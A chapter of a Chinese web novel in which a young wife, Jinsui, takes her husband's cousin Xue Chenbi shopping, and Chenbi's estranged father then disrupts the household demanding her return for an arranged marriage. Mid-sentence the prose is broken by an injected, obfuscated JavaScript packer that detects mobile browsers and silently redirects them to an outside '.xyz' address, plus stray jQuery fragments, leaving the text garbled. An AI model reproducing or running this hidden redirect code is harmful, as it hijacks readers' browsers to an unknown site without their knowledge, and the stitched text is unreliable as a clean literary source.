23. 被找上门

作品:《锦堂春慢

    薛沉璧的夸赞反倒让锦岁更加不好意思了,她浅浅笑了一下后,吩咐盼儿去服侍表小姐沐浴。


    盼儿手脚利落,福了福身便疾步引着薛沉璧往内院走去。半刻后,盼儿领着梳妆完毕的薛沉璧走出来。


    暖黄光晕里,薛沉璧款步走出。她的容貌清冷,眸光流转间透着寒潭般的清冽。鼻梁高挺笔直,唇色却苍白如纸,偏生轮廓锋利得像是用刀刻出来,透着拒人于千里之外的疏离。


    锦岁拉上她去前厅用膳。


    暮色渐歇时,裴霁明也从校场回来。他身着玄色劲装,腰间的玄铁长剑随着步伐轻晃,发出清越的碰撞声。


    他翻身下马后,一旁的小侍小跑着迎上来:“少爷,今日府上来了位沧州来的表小姐。到咱们府上投亲,眼下老夫人和少夫人已将表小姐安顿好了。”


    表小姐?他虽疑惑了一下,但立刻就想到了是谁。幼时常看见父亲因为寻找不到裴澜姑姑的下落而叹气,那位表姑娘兴许就是裴澜姑姑的女儿。


    裴霁明抬手整理了下微乱的领口,喉结上下滚动,发出一声低沉的回应。


    大步流星踏入前厅后,第一眼瞟的就是锦岁。


    而后再看向另外二人。


    见裴霁明回来后,沈氏面上带了笑意,对着薛沉璧说道:“这是你霁儿表哥。”


    话音未落,薛沉璧便福了福身,脊背绷得笔直,鸦青发间的玉簪随着动作轻晃,却未抬眼多看对方分毫。


    “表哥好。”


    简单三个字后,薛沉璧便没再说什么。


    反观裴霁明他漫不经心地扫过少女苍白的侧脸,然后淡淡地“嗯”了一声。


    锦岁有些错愕,他们兄妹二人难不成都如出一辙的冷淡么。


    晚膳结束后,裴霁明还是一如既往地回了书房。


    锦岁叫住薛沉璧。


    “明日我带你去添置些衣物和胭脂水粉可好?”


    薛沉璧淡淡道:“倒也不必如此麻烦,我贸然过来投亲已经给府上添了不少麻烦了。怎好意思劳烦嫂嫂。”


    “哪有什么麻烦不麻烦的。”锦岁伸手轻轻按住她发凉的手背,指尖触到她腕骨凸起的棱角,心口忽然发酸。


    薛沉璧轻轻点头:“既然如此...便听嫂嫂安排吧。”


    锦岁这才安心的笑了笑,随后叮嘱着盼儿好生照顾薛沉璧。


    薛沉璧看着锦岁的脸沉默了半晌,想说的话还是卡在嘴边没能说出口。


    看着薛沉璧离去的身影,一旁的春雨低声对着锦岁说道:“奴婢总觉着这位表小姐怯生生的。”


    锦岁叹了口气:“薛姑娘自小就吃了不少苦头,在那样的环境下长大,总得谨小慎微些。”


    她瞧着暮色下那禁闭的房门,不禁又为薛沉璧的遭遇扼腕叹息。


    翌日清晨。


    锦岁起身后简单收拾了一番,随后去薛沉璧的住所寻她。


    刚步入薛沉璧的房间便见雕花槅门半掩着,一抹月白色身影立在窗前。晨光斜斜洒在薛沉璧身上,她垂眸整理着褪色的裙带。


    听见脚步声,她转身福了福身。乖巧的模样倒叫人生出几分心疼。


    锦岁上前拉住她微凉的手:“走,今日定要让云锦阁的绣娘给你裁几身像样的衣裳。”


    西街云锦阁的鎏金匾额下,掌柜哈着腰将最新的料子尽数铺开。


    锦岁拉着着薛沉璧,指着月白底色绣着淡蓝海棠的软烟罗笑道:“这颜色衬你肤色。”又拿起藕荷色的织锦在她肩头比划,“再做两身夹袄,秋凉了也好穿。”


    薛沉璧垂眸站在琳琅满目的绸缎间,看起来兴致并不高。


    锦岁大手一挥,购置了不少名贵的布料给薛沉璧裁衣服。


    她指着那些布料:“劳烦掌柜的量好尺寸后尽快将衣服赶制出来送到裴府。”


    掌柜点头哈腰的笑呵呵:“夫人您就放心罢!”


    料子挑完,她又要拉着薛沉璧去看首饰。


    薛沉璧拉住锦岁:“够了嫂嫂,真的够了。我用不了多少首饰。”


    不顾薛沉璧的反对,锦岁还是拉着她去了隔壁的首饰铺。


    “以前我还未出阁的时候,常来这家铺子看首饰。你且看看,有没有合心意的?”


    薛沉璧架不住锦岁的热情,就随意指了几件首饰。


    在回府的路上,锦岁也看出了她的心不在焉。


    “总觉得你闷闷不乐的。”


    薛沉璧如实回答:“我总觉得好不真实,生怕这是一场梦。”


    昨夜外祖母搂着她落泪时的体温,今日嫂嫂握着她手挑选衣料时的关切,此刻都化作萦绕在心头的暖流,可越是温暖,越让她生出几分患得患失的惶恐。


    说完,她又不禁感慨道:“嫂嫂待人处事妥帖,性子又温柔….也不知表哥哪里来的福气,竟能娶到嫂嫂这样的人。”


    其实她昨日就看出来了,他们夫妻二人的貌合神离。她那位表哥周身仿佛笼罩着一层无形的寒冰,待人皆是冷冰冰的模样,连回答都简短得敷衍。


    而岁岁表嫂性情温和,待人进退有度,才情容貌俱佳,这样不可多得的闺秀,本该被捧在手心呵护。


    想到这里,薛沉璧不禁轻轻叹了口气。她有些替锦岁鸣不平。或许也是她自幼见过的男子皆是薄情寡义之人,对男子也多有抵触,才见不得岁岁嫂嫂被冷待。


    见薛沉璧这般说,锦岁也就笑了笑。


    回程的马车一路行驶至裴府门口后,一阵嘈杂声传来,引得过路人频频侧目。


    锦岁略有些疑惑地掀开车帘朝外看去,一群人围着裴府的大门口。


    她觉察着有些不对后喊来车夫。


    “你去瞧瞧到底发生了何事?”


    不过须臾,车夫折返回来,面露难色的对锦岁说道:“似乎有人在裴府跟前闹事….”


    话还没说完,就听见围在人群中的一男子大声喝道:“燕京还有没有王法了!你们掳走我女儿,我要见你们家老太太!”


    此话一出,本就三三两两驻足的路人立刻像被磁石吸住般围拢过来。人群如潮水般漫过府前石阶,把那男子围得水泄不通。


    “哎,怎么回事?”


    “裴府竟做出这等事?”


    议论声像春日的柳絮般漫天飞舞。男子见状越发来劲,吵嚷的声音更大了:“我女儿已经议亲了,若是不把我女儿交出来,我定要去官府门口击鼓鸣冤!”


    这个声音薛沉璧再熟悉不过了,那张素来清冷的脸瞬间变得惨白如纸,仿佛被抽走了所有血色。


    她死死咬住唇瓣,齿间几乎要沁出血珠,指甲深深掐


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716263|173724||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    进掌心,连锦缎衣袖都被攥得皱成一团。


    “那人是我爹。”


    “什么?”


    锦岁又不可置信地看向那个男人,原来他就是那个宠妾灭妻、始乱终弃的薛泽。他怎么还有脸面出现在裴府的。


    他胆敢在裴府跟前闹?他就真不怕祖母要了他的命?


    锦岁思忖一番,从正门回府太引人注目,她吩咐着车夫将马车驶往裴府侧门。


    回到府内后,她叮嘱着薛沉璧:“这件事情由我和祖母解决就好,你先回去歇息。”


    说完,她头也不回的朝着前厅走去。


    薛沉璧哪能放心将这件事情甩给其他人,毕竟这件事的起因是自己。她还是悄悄的跟在锦岁身后。


    薛沉璧偷偷躲在前厅一侧的屏风后面。


    此刻的沈氏正坐在一旁的椅上,不断揉着自己的太阳穴。如意在一旁手执团扇,替她扇着风。


    沈氏显然气得不轻。


    锦岁在一旁为沈氏斟了杯茶,然后道:“祖母,眼下先见见那人罢。”


    沈氏气得太阳穴直跳,也算是听取了锦岁的建议,一挥手,示意将薛泽带进来。


    不出片刻,府上的家丁将薛泽带了进来。


    薛泽已没了当年的风华正茂,曾经英气逼人的面容早已消失不见,只剩被生活磋磨得疲惫又沧桑。他半佝偻着身子,身上的衣裳料子也是几年前的款式了。


    见到薛泽的脸的那一刻,沈氏目瞪欲裂,恨不得将面前的人挫骨扬灰。


    薛泽脸皮厚,他笔直地跪下后恭恭敬敬的行礼:“见过裴老夫人。”


    说完他又撇向一旁的锦岁。


    “想必这位就是少夫人了罢,见过少夫人。”


    “没脸没皮的东西,你还敢出现在我的面前?”沈氏立刻将手边的茶盏掷到薛泽的身上,滚烫的茶水撒的到处都是。


    “当初拐了我的女儿和你私奔,现在连我的外孙女的血都要吸。你当真是畜生!”


    薛泽露出一抹令人厌恶的笑容,这抹笑,让屏风后的薛沉璧都不禁攥紧了拳头。


    “老夫人您这话说的倒是叫人摸不着头脑了。澜儿当年可是自愿同我走的。”他故意将“自愿”二字咬得极重。


    “若不是你们裴家棒打鸳鸯,澜儿何至于年纪轻轻就……没钱请大夫…难产至死啊。”


    杀人诛心也莫过于此。


    沈氏此刻险些气到昏厥。


    “我从未见过如此寡廉鲜耻之人!澜儿跟着你吃尽苦头,反观你,宠妾灭妻,空长了一副人形,却行尽腌臢事!”


    说到激动处,沈氏开始猛烈的咳嗽起来。


    薛泽此刻收起笑容,尽显一副小人嘴脸。


    “老夫人,我自然也替澜儿早逝而惋惜。不过这次前来只想带回我的女儿沉璧。她定是来了裴府投亲,我已在老家沧州为沉璧定了门亲事。”


    看到薛泽这副嘴脸,锦岁心里直犯恶心。哪里是什么好亲事,分明就是要用薛表妹换自己的大好前程。


    锦岁心中暗暗骂道,他真是枉为人父,竟将骨血至亲当作谋利筹码,当真是狼心狗肺、恬不知耻!!


    沈氏怒极反笑。


    “你胆敢出现在我面前就应该能想到,今日你不仅带不走沉璧,你也没法囫囵着从裴府出去。”